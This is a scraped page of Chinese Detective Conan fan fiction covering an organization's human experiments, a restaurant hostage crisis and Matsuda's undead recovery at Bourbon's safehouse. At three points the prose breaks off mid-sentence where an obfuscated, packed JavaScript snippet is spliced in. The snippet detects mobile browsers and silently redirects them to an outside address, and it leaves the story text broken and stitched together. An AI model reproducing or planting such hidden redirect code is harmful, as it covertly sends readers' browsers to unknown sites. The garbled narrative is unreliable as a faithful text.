波本的表情凝重了起来,活人实验,而且是数量繁多的活人实验,最后的成果寥寥无几,而牺牲的性命却是累累血债,除此之外还有一小部分被模糊处理了,上面写着‘权限不足’。 波本第一次觉得阿美尼亚克那一枪开得太干脆了,多开几枪也是他应得的。 波本闭上了眼睛,努力让自己不去想那一个一个标签化的数字背后的生命,然后他睁开眼睛,把目光移向了右侧的照片。 忽然,他皱起了眉头。 野泉贵志的照片底下有一道黑杠,波本不记得他之前查询其他组织成员的时候有这种东西。 波本退出野泉贵志的窗口,去打了几个成员的代号。 伏特加,没有。 基尔,没有。 基安蒂,没有。 黑杠代表了什么?叛变吗? 想到这里,波本打下了另一个代号,雪莉。 看到弹出的窗口,波本挑起了眉毛,有,但不是黑杠,而是银杠。 她左侧的文字信息很多都被掩盖了,被模糊掩盖的地方,都会有一行小字告诉他‘权限不足’。 波本捂着嘴巴想了一会儿,又敲下了一个代号,贝尔摩德。 新的窗口弹出来,和雪莉差不多,左侧的文字信息被掩盖得更多,满篇都是如何如何之后,突然提示‘权限不足’。 女明星的照片就那么挂着,下面也有一道杠,然而是绿色的。 波本垂下眼睛,摆弄了一下自己的手指,最后敲下,阿美尼亚克。 窗口弹出来了,松田阵平苍白而年轻的脸就在屏幕上漠然地看着他,照片下面是明晃晃的一条黑杠。 除此之外,阿美尼亚克没有任何其他的文字信息,左侧没有模糊,也没有马赛克的遮挡,整个左边的窗口只有一行大字‘权限不足’。 波本坐在桌子前,好像有点累了似的,佝偻地对着屏幕看了一会儿,又随手查了几个他知道的研究员的名字。 每一个下面都有一条杠,然而却都是灰色的。 解开了,这条杠就是研究所的意思,照片上带着这条杠的人,不论他们是在情报组还是行动组,在组织人员的数据库里都归属研究所。 至于颜色,可能是级别,但比起级别,更有可能是项目。 波本的脑中突然不受控制地回想起了那天在房间外听到的野泉贵志的哭求:“阿美尼亚克,对不起,对不起,你放过我吧,我不应该那样对你,你饶过我吧……” 那样对你,是哪样对你? 那些血淋淋的实验数据里,会有一笔是阿美尼亚克的吗? 会有一笔是降谷零的朋友松田阵平的吗? 这次,波本看起来好像真的太累了,他深深地弯下腰去,额头抵在了桌子上,像是被谁在肚子上打了一拳似的,半晌,他才慢慢直起身来。 ========================================= 【你是不是打算以后每三天就过来报个道?】 [这是意外,谁能想到刚刚完成尸检的好尸体出个门还会遇到劫匪,劫匪恰好又用枪托砸了这个尸体的肋骨呢?] 松田阵平躺在手术台上和系统在脑海里打着嘴仗,盘尼西林拉着一张脸把松田阵平的左胸侧边切开,用手术刀分离肌肉,露出了断开的肋骨。 【你的胸腔现在就像个四处漏风的面口袋。】 [你越来越能领会我的笑话了。] [你怎么不说话了?] 盘尼西林把断裂异位的骨骼一根一根扶正,然后扣上钢板用钢钉穿孔拧紧,这期间松田阵平的骨头发出了让人牙酸的声音。 盘尼西林看着都被他固定好的骨骼,没有着急把创口缝合,而是手指顺着这些骨骼一根一根地抚摸下来。 松田阵平闭上眼忍受着这种抚摸,连大脑里和系统的对话都安静了下来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12170239|123566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你公布出来的。”萩原研二的声音依旧显得那么耐心而平缓,如果忽略他快把自己的手指尖掐紫了的话。 对面沉默了一会儿,忽然发出一声短促的冷笑,对方的声音陡然尖利起来,“你以为他们都不知道吗?!” 对方继续说道,“这个酒会里面几乎所有人,都对这件事心知肚明,但是每个人都装看不见,这个酒会之外呢,那帮条子,他们就什么都不知道吗?不,他们很清楚,一旦他们知道我要公布的是什么,我就没有机会了。” ‘对方不信任警察,而且,是因为对方所掌握的某些信息,导致对方不信任警察。’柯南立刻意识到这一点。 ** [他要公布的好像真的是‘我们’。]松田阵平听着暴徒和萩原研二的对话,在心里说。 [对方想要公布的,应该就是野田一夫手里掌握的和议员们的不法交易吧,这种生意,在警方里没有保护伞是做不成的。] [我今天才知道野田一夫这个人,但是贝尔摩德知道的更多,判断也会比我准确得多。] [她要开始行动起来了。] 【你情绪调整真的很快,刚刚是你第二次死亡以来,情绪波动最大的时候。】 【你甚至只是听见了他的声音而已。】 [不然怎么办?事情还在发生,时间永远都在往前走,我的情绪无论多大都是没有用的。] 【既然你这么看得开,那就请你快点重新呼吸,看一眼你的同期吧,他快吓死了。】 [……] ** 贝尔摩德侧卧在地上,听着暴徒和警察的对话,手隐蔽地掀开自己靠近地面的礼裙,从自己的大腿侧抽出了一个信用卡包样式的东西。 她的手很快,单手就把整个卡片拆解开来。 那是一个伪装成信用卡的点22口径折叠手枪。 其实她真的不太想动,但任务失败有大有小,小失败对于她和阿美尼亚克都无关痛痒,大失败……她还不想去处罚室走一遭。 接着,就在她还没来得及把手枪掩在手掌下的时候,就看见了她的Angel忽然转过头,然后吃惊地看着她。 啊呀,居然被发现了。 她笑着向小兰点了点头,用口型说道:“I am American.” 小兰慢慢地露出了悟的神色。 ** “我相信你知道的,”萩原研二用一种温和的语调说道,“任何机构都不可能是铁板一块的,比如,在这里,有刑事部搜查一课的警察,也有警备部的SAT,我和我的同事,是机动队爆|炸物处理班的警员,我们都分属于不同的课系,但我们都能做你的证人。” “没错。”瞭望餐厅门外的楼梯口,三个人联袂而来。 是搜查一课管理官松本清长、搜查一课课长鬼头源一郎和东京警视厅刑事部部长小田切敏郎。 小田切敏郎向对讲机报上了三人的姓名,说道,“无论你说的是什么,我们三人都保证会秉公查证,让真相大白的。” “滚开!!都滚开!!我只要直播!!不给我电视台的时间的话,我立刻就开始杀人!!你们都给我滚开!!”刚刚被萩原研二稍稍安抚下来的暴徒,情绪立刻变得激动,他大声咆哮着,中断了对讲机。 萩原研二和江户川柯南几乎同时扭头看向了小田切敏郎三人。 暴徒不信任的那个警察,就在他们三人当中。 28.瞭望餐厅名流劫持事件(完) “那么不好意思,请三位警官回避吧。”萩原研二几乎没有任何停顿,就在重新打开对讲机后对小田切敏郎三人说。 “萩原君……萩原君?”目暮警官连忙压低声音提醒萩原研二。 “我知道了,”小田切敏郎看了看松本清长和鬼头源一郎后,说道,“整个谈判期间,我们三人都会在后方回避。” “等一下,小田切警视长,”鬼头源一郎严肃地问道,“发生这种严重的事件,我们三人来到这里,是为了做临场调度的,可是就因为这个匪徒的过激反应,我们就要把现场的谈判全权交给一个爆|炸物处理班的年轻人吗?” “我记得你叫……萩原研二,对吧?”鬼头源一郎看着萩原研二说道,“我知道你一直在向搜查一课提交转职申请,我也知道你是一个机敏有才干的年轻人,但是这不是你越过搜查一课强行和暴徒开启谈判的理由,你现在应该做的是服从命令,和你的同事在一起,做好保障民众安全和排爆的准备,你明白吗?” 萩原研二静静地看着鬼头源一郎,片刻后,他问道: “鬼头警视正,你是在向我施压吗?” “萩原君?!”高木涉和白鸟任三郎吃惊地大喊。 警视厅的年轻一辈中,萩原研二一直是好脾气、好人缘的代表,他们几乎从来没有见过他这么有压迫力的样子,更别提他咄咄逼人的对象是他们搜查一课的课长了! 鬼头源一郎的警衔比萩原研二整整大了三级! “其实我们没有多少时间,刚刚对面已经受到了强烈的刺激,而刺激源就在你们三位当中,我无意怀疑你们任何一个人,我想要保证的只是人质的安全。”萩原研二面无表情地说。 “现在摆在我们眼前的只有两条路,要么让他在日卖电视台上开始直播,后续的影响不可估量,要么一直忽视、拖延他的需求,最后让他忍无可忍开始屠杀人质。” “而我现在正试图找到第三条出路,餐厅里现在还有一个重伤的人质在地上躺着,可以请我们不要再浪费时间了,可以吗?” 现场一片寂静。 “你这小子……”鬼头源一郎隐忍着怒气说道。 “好了,鬼头,”小田切敏郎制止了他,说道,“萩原君说得没错,既然我们在这里已经不再是权威性的代表,而是暴徒的刺激源的话,我们就不要在这里添乱了。” “可是!”鬼头源一郎皱着眉头说道。 “鬼头警视正,事实如此啊,我们就先回到后方的临时指挥部观察情况吧。”松本清长劝解道。 “你听到了吗?三位长官都已经走了,我们继续来讨论刚才的问题吧。”萩原研二理都没理那边的三位警长,转头就对着他一直开着的对讲机说道。 “哼,我怎么知道你们是不是在演戏。”暴徒冷笑道。 萩原研二叹了口气,说道,“我可没有那么大的能量,让三位长官陪我演戏啊。” “那恭喜你,你之后要倒霉了。”暴徒说道。 “你在同情我吗?”萩原问道。 “啊,非常。”暴徒承认了。 柯南目不转睛地看着正在与暴徒交涉的萩原研二,暴徒与萩原研二一人的信任关系,居然就这样建立起来了。 “我现在还不知道如何称呼你,”萩原叹了口气,“我只能对你说,无论你要公布什么,我和这里的每个人都能听到,我也没有办法替别人保证你什么,但是,我可以代表我自己向你保证。” “无论你要公布什么,我都发誓会找出这一切的真相,将它公之于众。”萩原认真地说道。 “你又能做什么呢?”暴徒嘲讽道。 “做我能做的一切。”萩原回答。 “哪怕你不再是警察?” “哪怕我不再是警察。” “哪怕要付出生命的代价?” “哪怕要付出生命的代价。” “那你真的会很倒霉的。”暴徒的声音终于温和了下来,甚至有些怜悯了。 “我每次感到顺风顺水的时候都会倒大霉,我已经开始有点习惯了。”萩原平静地说。 “那好吧,萩原警官,我现在就向你公布这一切,之后我们就随你处置,这些人质也都会交给你。” “……可以让那个重伤的人质先出来吗?这也是在帮你,如果有人质死亡,那么对你的处置将会完全不同。”萩原研二诚恳地说。 “萩原警官,不用担心,你是个好人,但我向你保证,这些人质绝不无辜。”暴徒平和地说道。 萩原研二空着的手骤然握成了拳。 对方已经走进了偏执的死胡同,餐厅里面就算抛开那些名流,也还有服务生和获得赠票去玩耍的圈外人,他的定论根本就不成立。 显示屏重新出现了暴徒蒙着面的脸,他离得远了一点,让人们看到了他手里的秃顶胖男人。 野田一夫。 “来吧,野田先生,说出你的秘密吧。” 野田一夫颤抖着张大了嘴,泪流满面却一声也不敢出。 柯南立刻打开手机开始查询和野田一夫有关的事件。 ‘野田Production艺能事务所艺人离奇自杀!此为该事务所三年来第五起艺人自杀案,社长野田一夫对此深表遗憾,称当前艺能界压力过大,致使艺人患抑郁症,将更进一步关爱艺人心理健康。’ 柯南皱起眉头,三年死去五位艺人,不可能没有人觉得不对劲吧。 柯南立即更改了搜索的关键字: 野田Production 调查 ‘警视厅搜查一课强行犯搜查五系警部斋藤立秀称,关于中岛莉莉子自杀一案的调查目前在稳步推进中,牵涉甚广,或将与搜查一课性犯罪调查一系展开联合调查。’ 这一条报道是在两年前。 柯南再次搜索: 中岛莉莉子 ‘中岛莉莉子,偶像歌手、演员,成名作《少女的天空》,孤儿院出身,经匿名捐助完成高中学业,17岁加入野田Production,18岁因抑郁症自杀。’ 照片上的女孩笑起来像太阳花一样。 柯南再次退出,修改搜索关键字: 斋藤立秀 ‘昨日凌晨,首都高速11号台场线发生一起严重的交通事故,涉事车辆车主系警视厅警部斋藤立秀,经初步调查,此次事故可能是由车主醉驾所导致。’ 与上一条报道相差不到两天。 柯南瞳孔紧缩,抬头看向萩原。 这就是对方说的‘倒霉’的真实含义吗?! 这背后,至少要有一位警察高管为这种‘倒霉’提供了帮助,而这把保护伞就隐藏在刚刚的那三位警长之中。 如果不能把这个人找出来,萩原警官将很快陷入危险之中! 柯南立刻低下头重新开始快速阅读大量的搜索条目,过了一会儿,他开口道,“啊咧咧,好巧哦,刚刚那位叫做鬼头的大叔,原来参加过屏幕里这位野田大叔女儿的婚礼啊。” 柯南的声音刚刚好,保证了餐厅门外的所有警察都能听到。 ** 松田又恢复呼吸了,降谷零的心放下了一半。 野田一夫依旧支支吾吾不敢出声,即使霰|弹枪抵在他的脑袋上,他也不敢说一句话。 当然,现场有贝尔摩德、基尔……阿美尼亚克和波本,他们都能保证野田一夫半句话都说不出来。 “是……”野田一夫开口了。 “波本,动手。”琴酒的声音从耳机里传出。 波本闭上眼睛又睁开,从手中掷出了三枚烟雾弹扔在了地上。 灰蓝色的烟雾瀑布一样涌出,快速地覆盖了整个瞭望餐厅。 “他们在这!我就知道他们在这!”暴徒大喊着抓住野田一夫,“说完!把你的话说完!!” 扛着冲锋枪的暴徒被激怒,立刻准备在餐厅进行无差别扫射,却在扣动扳机的一瞬间,枪支炸膛。 暴徒被炸得满脸是血,他大喊道:“是他!只有那个人刚刚动过我的枪!” 下一秒,他眉间中弹,倒在了地上。 贝尔摩德半跪在原地,手臂前伸,手里举着那柄迷你的信用卡小枪,她没有停顿,立刻调转枪口,瞄准野田一夫。 结果却突然被人一扑,狠狠被咬住了手腕。 贝尔摩德惊怒地看过去,发现竟然是一直悄无声息的中岛小百合。 中岛小百合的眼中露出了强烈了恨意,她死死地扣住贝尔摩德的两只手,说道:“终于,抓到你们了。” 那三个暴徒在酒会之中居然还有内应! 基尔不知何时已经跑到了餐厅门边,她一把推开门,大声喊道:“快跑!他们开枪了!快跑!!” 一瞬间,长期处于高压环境的人质全都失去了理智,为了活命向门口冲去,门口的警察一时间根本无法将所有人全数拦下,基尔借着水无怜奈的身份混着人潮涌出餐厅,快速离开了现场。 小兰护着园子也向门口跑去。 门被打开的一瞬间,萩原研二逆着能把人踏碎的人潮,向餐厅里冲去。 贝尔摩德一个背摔,把中岛小百合狠狠摔在了地上,拿出枪要将她结果,忽然,破空的子弹声迫使她改变位置,拿着冲锋手枪的暴徒及时打断了她。 贝尔摩德大喊:“阿美尼亚克,别装死了!” 其实一切都只发生在烟雾弹炸开后的十几秒内,灰蓝色的烟雾还在持续地喷涌,越堆越高。 萩原研二拼命挤到餐厅舞台的附近,烟雾的覆盖让他几乎只能看到些模糊的影子。 他大睁着眼睛辨认着躺倒在地上的人的位置,几乎要流出眼泪来,然而片刻,隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12189913|123566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟雾,他看见一个人影从舞台上,慢慢地爬了起来。 那个人起来后,站在原地,没有动,萩原研二愣住很久才意识到,那个人在看他。 “……小阵平?” 那个人忽然向前一大步,伸出手将他推开,在被推开的一瞬间,那距离终于够他看清了那个人的脸。 苍白的,沾着黑色的血迹的,小阵平的脸。 小阵平垂着眼睛,不敢看他。 下一秒,餐厅的舞台发生了剧烈的爆炸,萩原研二被残余的冲击波吹了出去,他不顾耳边还在嗡鸣,一把扯住了松田阵平的胳膊。 “小阵平!你……” 你疼不疼? 松田阵平终于抬起眼来看着他,用和他那天走出家门前一模一样的眼神,随后他挣开了萩原的手,又一次将萩原研二推开。 另一阵爆炸声轰隆响起。 在眩晕和耳鸣中,有温热腥臭的液体从远处迸溅在萩原研二的脸上,随后他听见一个熟悉的声音绝望地嚎叫。 眼前已经没有了松田阵平的踪影。 萩原研二有些迟钝地反应了一会儿,终于在烟雾中,缓缓地走向那道哀嚎。 那个一直和他对话的暴徒出现在了他的眼前,他双手抓着肚子完全炸开的野田一夫的死尸,摇晃着大喊: “你说话啊!你给我说话啊!把你干的那些事都给我统统说出来啊!!” 他几乎已经完全疯了。 终于,他疯癫地把手向自己的腰上一按,那个一直捆绑在他腰上的炸弹亮了起来。 几乎是同时,那个暴徒身后,出现了两个人影,一个是他那个拿着冲锋手枪的同伙,还有一个女孩子,两个人把他的炸弹脱下来,抛在地上,连拖带拽,带着他逃离了现场。 野田一夫的尸体和炸弹一同摔在了地上。 萩原研二仿佛一个恍惚的观众,在一旁静静地看着他们挣扎着离去,然后自己慢慢走到炸弹边,盘腿坐了下来。 “啊……不难拆。” 还好,至少还有一件他能做到的事。 ** 事态彻底平息下来已经是凌晨四点了。 那时,人质们一窝蜂地冲出来,警察无法一一拦住,出于各种原因,仅有一小部分人质愿意留在现场,大部分人都通过各种方式离开了米花中央大厦,后续还要根据宴请名单逐一排查。 瞭望餐厅烟雾散尽的时候,那座舞台已经被炸得惨不忍睹,现场只留下了两具尸体、一个活人。 两具尸体被扔在地上,一具是那个暴徒的同伙,他因为枪支炸膛而炸断了鼻子,但那不是他的死因,他的死因是被人一枪击中了眉心;还有一具是野田一夫,他的死状非常凄惨,肚子被完全炸开,配上他肥胖的身躯,就好像他已经死了很多天了似的。 活人是萩原研二,烟雾散尽的时候,他就安静地盘腿坐在地上,身后是野田一夫的尸体,身前是一个被拆除的炸弹。 意识到发生了什么的警察们一窝蜂地拥上去,将萩原研二用毯子围住带离了现场。 半个小时后,警察厅公安接手了后续所有调查,鬼头源一郎成为了重点调查对象。 案件还有很多谜团,这些暴徒到底都是什么人,后面发起袭击又是什么人,那位重伤的人质神奈信利去哪儿了,全部都没有答案。 不,或许有人知道。 柯南坐在警车里,等待警察送他回毛利侦探事务所。 他开着手机,手机屏幕上播放着一段视频,视频里是一个笑得像太阳花的女孩,中岛莉莉子。 “今天给小朋友们推荐的书,是美国作家简·韦伯斯特创作的《长腿叔叔》,讲的是一个孤儿院的女孩获得了一位好心人的资助,于是女孩称他为‘长腿叔叔’,给这位‘长腿叔叔’写信的故事。” “小朋友们,我也有我的‘长腿叔叔’哦,不过不是一个,是三个,他们也不肯告诉我他们的名字,作为回报,我也只能经常给他们写信,告诉他们,谢谢他们的帮助,我每天都生活得很努力,很开心。” “小朋友们,我们下期节目再见哦!晚安!” 隔着屏幕,三年前的中岛莉莉子向柯南笑着挥了挥手。 柯南静静地看着她,眼镜反射着屏幕的光。 这样杀人灭口的手段,这样盘根错节的支系,无疑就像是黑衣组织的手笔,更别提现场还有阿美尼亚克了。 他在反思他自己,也许是因为阿美尼亚克,还有他身边那个胡子青年的缘故,他最近在心里对黑衣组织放松了警惕。 可是阿美尼亚克根本代表不了组织,组织的每一步都践踏着无数鲜血和冤魂,他自己本身就是组织制造的血泪的一部分。 工藤新一,不可以再大意了,一定要再谨慎、再聪明一点。 直到,把这个组织彻底挖出来为止。 29.人与物品与死亡 “哼,四个代号成员,面对三个不入流的劫匪和一个小姑娘。” ‘叮铃’‘当啷’大块的弹片掉在地上。 “一个被轰烂了肚子,一个被打中肩膀。” ‘咔’‘哐当’后备箱打开,有人在翻东西。 “最后居然只留下了一个,剩下的都被放跑了。” ‘呲啦’‘呲啦’这是在撕绷带。 “你有完没完?”琴酒阴沉着脸问道。 偏僻的无人河岸,一辆黑色的保时捷356A停在路边,琴酒靠在车门上,拉着一张脸。 他面前的基尔和波本,脸色也不怎么好,贝尔摩德肩部中弹,先一步离开去处理了。 “没办法啊,琴酒,”阿美尼亚克倚在车尾处,用宽大的绷带一圈一圈狠狠地勒着自己的腰,“刚才有弹片在我的肚子上开了两个大口子,内脏的位置有点过于自由了,我得赶紧绑一下,免得掉出来不好处理。” 波本的脸色更差了,他指了一下阿美尼亚克,问道,“他这种情况,就没什么地方能帮他处理一下吗?” 显然,他也明白了以阿美尼亚克的情况,组织根本不可能让他去医院。 琴酒冷笑了一下,偏过头对阿美尼亚克说,“你居然能骗到波本的同情心啊。” 阿美尼亚克没理他,还在努力地捆住自己的内脏。 琴酒回过头对波本说,“不用管他,除非他的骨头彻底异位了,不然他没有维修的必要。” 阿美尼亚克微妙地看了一眼波本,又继续低下头和自己的内脏作斗争。 “维修?”波本重复了一遍琴酒的用词。 “哼,”像是想到了什么好笑的事一样,琴酒说道,“你非要说‘治疗’也可以。” “既然你对他这么上心,那他就归你了,你随便找个浴缸把他塞进去放着就行。”琴酒看着波本道。 “喂,琴酒,你有没有问过我的意见啊?”阿美尼亚克不爽地插话道。 “什么是‘你的意见’?”琴酒问。 阿美尼亚克不说话了。 “别老是玩这种装模作样的游戏了,无聊透顶。”琴酒讽刺道。 波本看着面前的两人,心中的违和感越来越重,这两个人说话好像有一个很奇怪的前置条件,导致他们说的话和对彼此的态度,都有一种说不出的怪异感。 但那个前置条件是什么……? “今天你跟他走,这是那位的决定。”琴酒说道。 阿美尼亚克叹了一口气,“他真有那么优秀?好好,我知道了。” 波本的白色马自达就停在旁边,阿美尼亚克走过去,拉开后座的车门,就钻了进去。 基尔迟疑了一下,问道,“关于那个鬼头源一郎,后续组织还要处理吗?” 琴酒给自己点了一支烟,说道,“他是野田一夫自己发展的人脉,对组织的事情几乎不怎么知道,现在他被公安控制起来了,组织要衡量一下处理他的成本和收益。” “比起他,那三个让你们放跑了的虫子才是要关注的对象,毕竟可以确定他们就是冲着组织来的。”说到这里,琴酒的脸色又阴沉了下来。 “至于对这次失利的处置,你们后续回去等通知吧。”琴酒说了最后一句话后,上车走了。 波本和基尔互相看了一眼,波本友好地笑了一下,“需要我送你回市区吗?” 基尔摇摇头,“不必了,你还要关照……那位。” 一片沉默,基尔和波本都亲眼看见阿美尼亚克的肚子被轰烂打穿,甚至最后内脏都要流出来,可是他本人却行动自如,甚至还能给琴酒找茬。 这已经根本不是正常人类的范畴了。 基尔一向对组织的人体研究有所耳闻,但是看到如此确实的研究成果还是第一次,而组织选择把这个研究成果暂时交给波本。 基尔不禁开始思考这背后的含义。 “那我们就先走了。”波本也没有坚持,向基尔礼貌地道别。 ** 车里一片死寂,空气都要凝固了。 波本开着车,阿美尼亚克窝在后座看着窗外的路灯。 经历了那一场混乱的酒会,两个人的心情都不怎么样。 终于过了半晌,波本开口道,“你这种情况,真的不需要处理一下吗?” 阿美尼亚克的头倚在车窗上,缓慢地耸了一下肩膀,说道,“就像琴酒说的,给我个浴缸就行了。” 波本面无表情地攥紧了方向盘。 车里又恢复了死寂,接下来一路上都再也没有人说话。 ** 等到两个人回到波本的安全屋时,路上街灯都已经熄灭了,远方的天空蒙蒙亮了起来。 进了屋子之后,阿美尼亚克就开始解开自己腰上死死勒住的绷带,沾了黑色血污的绷带一圈一圈地落在地上。 阿美尼亚克肚子上狰狞而复杂的巨大创口就暴露了出来,创口大咧咧的敞开着,甚至能看见里面破碎的内脏,伤口的边缘不正常地发白。 阿美尼亚克捂着最大的两道伤口,避免内脏从里面跑出来,单手脱下西装外套,又解开了衬衫的扣子,把衬衫脱了下来。 “不好意思啊,我得尽快把上衣脱下来,有布料陷进去了,我不太想让布料纤维和我的肚子长在一起,”阿美尼亚克捂着伤口解释道,“浴室在哪里?我现在就过去。” 有黑色而粘稠的血液,从阿美尼亚克的指缝里缓慢而少量渗出来。 “就这样?”波本问道。 阿美尼亚克低头看了看自己的肚子,说道,“嗯,就这样,我有点儿困了,你肯定也是,所以我们赶紧都去睡一觉吧。” 波本提高了声音,“在浴缸里?” “不然怎么样?你好啰嗦啊!我睡在沙发上你沙发就别要了!”阿美尼亚克也生气了起来。 “沙发?!”波本不可置信地大声喊道,“我说,你这样难道就没有什么更专业的处理办法了吗?” “要什么专业的处理方法啊……就放着啊!”阿美尼亚克声音也大了起来。 忽然,阿美尼亚克顿了一下,似乎想到了什么,他脸上出现了一种豁然开朗的神情,这让波本的心里出现了一些不祥的预感。 阿美尼亚克探究地看着他,试探地问道,“你……需要送我去研究所吗?” 波本愣住了,开始艰难地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12207785|123566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解阿美尼亚克的话,然后在明白了阿美尼亚克到底是什么意思的一瞬间,他的拳头快于大脑直接挥到了阿美尼亚克的面前。 阿美尼亚克呆住了,他看看停在眼睛前面的拳头,又看看波本,以及波本紫灰色的眼睛中燃起的滔天怒火,有些不知所措地眨了眨眼睛。 半晌,他的眼睛不安地向四周瞟了瞟,才又看向波本,他不自在地问道,“你……在关心我?” 随后他别扭地低下头看看自己的肚子,又清了清喉咙,说道, “你别看我这样……其实……没什么感觉。” 降谷零心中涌起了一股巨大的悲哀,他终于知道,琴酒和阿美尼亚克之间的违和感到底是什么了。 组织根本没有把阿美尼亚克当做一个人来对待。 所以不需要有‘感觉’,不需要有‘意见’,不需要有‘过去’,不是不能有,而是根本不认为他会有。 更可怕的是,阿美尼亚克自己也认可了这种扭曲的逻辑。 ……自我认知已经出现问题了吗? “我们,别在这站着了,我说真的,虽然没有多少了,但是我的血可能真的还会流到地上的。”阿美尼亚克低着脑袋结结巴巴地说。 降谷零慢慢地放下了自己的拳头,他看着那张熟悉的脸,悲哀地说,“松田,那根本不重要。” “地板,沙发……你受伤了,你在流血,你明白吗?”降谷零看着他,耐心地说。 松田垂着脑袋闷了半天,才憋出来了一句,“你认错人了。” 降谷零要气笑了,“松田,你从来都没有能瞒过我的演技。” “我知道!”松田大声说了一句之后,垂下眼睛,“可是我真的不是他了。” “我死了。”松田颓然地坦陈道。 降谷零冷笑出声来,“我倒要看看你能不能把你这些话给萩原再原样说一遍。” “谁说的你死了?你要是死了,那为什么你还能动,还能说话,还在流血啊?你想说你是僵尸吗?” “呃……”松田一副欲言又止的样子。 “嗯?”降谷零挑着眉毛问道。 “你要不还是先让我去一下浴室吧,一直捂着内脏感觉真的很奇怪。”松田泄气道。 这个时候,门外忽然传来了钥匙开门的声音,诸伏景光提着装菜的塑料口袋进了门。 “zero,我听琴酒说你们昨晚的行动不顺利?怎么样?还好……吗?” 松田阵平看着诸伏景光话说到一半,就看见他了,随后眼神又落在了他的肚子上,诸伏景光整个人都愣住了。 “我没事!这个伤口放三五天自己就好了!!”松田阵平一激灵,大声喊道。 诸伏景光反应了一会儿,眨了眨眼睛,慢吞吞地说道,“那……你可以喝滑蛋粥吗?” “不用了,我现在胃肠过于通畅……了。”松田阵平一顺嘴就开始满嘴跑火车,意识到了之后,立刻刹住,差点咬了舌头。 他抬起头,看见降谷零和诸伏景光堪称恐怖的神色,缩了缩脖子,干巴巴地说道,“所以洗手间到底在哪?” “……卧室左手边。”降谷零咬牙切齿地说。 30.友情诊疗室 晨曦从东方慢慢染过来,马路上已经出现了早期晨跑锻炼的人。 厨房里,银亮的雪平锅架在炉子上散着热气,锅里的粥咕嘟咕嘟地冒着泡。 整个屋子都被早餐的香气填满了。 火候差不多了,诸伏景光满意地关掉炉灶,转身去了浴室。 这个安全屋的浴室面积并不大,浴缸就更小,大概是刚好够一个成年男人曲着腿躺进去的大小。 松田就蜷缩在浴缸里,双手叠放在伤口上睡着了。 诸伏景光看着脸色苍白发青的松田,拿手去探了探他的鼻息,好半晌,才感觉到有一股微弱的气流经过他的指侧。 诸伏景光松了口气。 浴室门口,降谷零探出头来,“hiro,要煎几个……” “嘘——”诸伏景光将食指放在嘴唇上,对降谷零比划了一个噤声的动作。 降谷零也发现松田睡着了,不再说话。 诸伏景光打开卫生间的镜柜,从里面拿出了备用的医药箱,取出了几个纱布块。他把松田的手从伤口上挪开,狰狞的伤处就暴露在了他的眼前。 飞镖弹留下枪伤的有十几处,伤口不大,但都是贯穿伤,还有两处,是崩开的弹片造成的巨大划伤,斜着划开腹部,伤口末端已经开始收口,但依然可以隐约看到伤口里面的内脏。 浴缸里,那种发黑而粘稠的血液并没有多少,诸伏景光不知道是松田开始止血了还是血已经流干了,他希望是前者。 诸伏把纱布块按在了几处较大的贯穿伤上,然后拿出了宽纱布,动作轻柔地把松田的整个腹部细细缠好,降谷零走过来,帮他调整松田的姿势。 这期间,松田一直都没有醒,体温低得不像话。 诸伏景光俯下身,把松田打横抱起,几乎完全不费力,松田的体重也过轻了。 降谷零朝诸伏景光点了点头,卧室的床已经铺好了。 诸伏景光抱着松田,把他送进了被窝里,给他盖好了被子,降谷零给他拉好了窗帘。 一切都做完之后,降谷零打了个哈欠。 “zero也一晚上没睡吧,休息一下吧。”诸伏景光对降谷零说。 “没关系,我先吃完hiro的早饭再睡吧。”说着,降谷零又打了个哈欠。 诸伏景光笑了起来,说道,“我已经关火了,要吃的话,睡醒再吃也是一样的,我昨天晚上也没有睡,我们一起休息一会儿吧。” “……啊,”降谷零眨了眨眼说道,“可是客厅只有一个沙发,要不hiro你先休息吧。” 诸伏景光打开衣柜,从里面抱出了两套被褥放在了卧室床边的地板上。 “打地铺,zero应该不介意吧。”诸伏景光微笑着说。 降谷零看着看着,也笑了起来,“这不是变成修学旅行了吗?” “那不是挺好的嘛。”诸伏景光笑眯眯地回道。 降谷零看着诸伏景光的笑容,慢慢地放松下来,蹲下来开始打地铺,“啊,是不错。” 天光大亮,光线经过窗帘的遮挡,进入卧室时已经变得昏黄。 降谷零和诸伏景光面对面躺在地铺上,松田睡在他们旁边的床上。 “晚安,zero。”诸伏景光小声说。 “晚安,hiro。”降谷零也小声说。 诸伏景光眨了眨眼睛,又说道,“晚安,松田。” 降谷零也跟着他轻声说了一句,“晚安,松田。” 早晨七点的太阳格外好,屋子里三个疲惫的年轻人终于都睡着了。 ** 是放学的时候,夕阳把天空都染成橙红色。 